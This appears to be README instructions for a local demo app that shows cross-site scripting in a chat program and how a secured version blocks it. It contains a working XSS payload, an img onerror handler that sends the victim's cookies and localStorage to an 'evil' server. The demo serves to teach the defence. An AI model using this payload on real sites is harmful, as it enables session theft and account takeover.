Make sure you're using Node.js 10.x or greater.
Open a terminal and navigate to the project's root directory.
yarn install
yarn start:server
- In a separate terminal (same directory):
yarn start:client
- In a separate terminal (same directory):
yarn start:evil
- Open the chat app at http://localhost:4000?user=Bob in your browser window.
- Open the chat app at http://localhost:4000?user=Alice in an incognito/private window (to make sure cookies are not shared between the two windows).
- Paste the following malicious message in the chat and press "Send":
How's it going? <img style="display:none;" src="http://url.to.file.which/not.exist" onerror="fetch('http://localhost:5000', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ localStorage: Object.entries(localStorage).map(e => `${e[0]}=${e[1]}`), cookies: document.cookie })}); alert(`I just stole your auth cookie ${document.cookie} and the contents of your localStorage ${Object.entries(localStorage).map(e => `${e[0]}=${e[1]}`)}`);">
- Check the terminal that's running
evilServer.js
- You'll see both the sender (attacker) and recipient's cookies and localStorage have been stolen and logged!
- Close both chat app windows.
- Open fixed versions at http://localhost:4000/secure?user=Bob in your browser window and http://localhost:4000/secure?user=Alice in an incognito/private window.
- Send the malicious message again.
- Note that although the malicious message was delivered to the recipient, the browser blocked the script execution, image loading, and inline styles. Checking the terminal running
evilServer.js
reveals that the attacker didn't receive any information.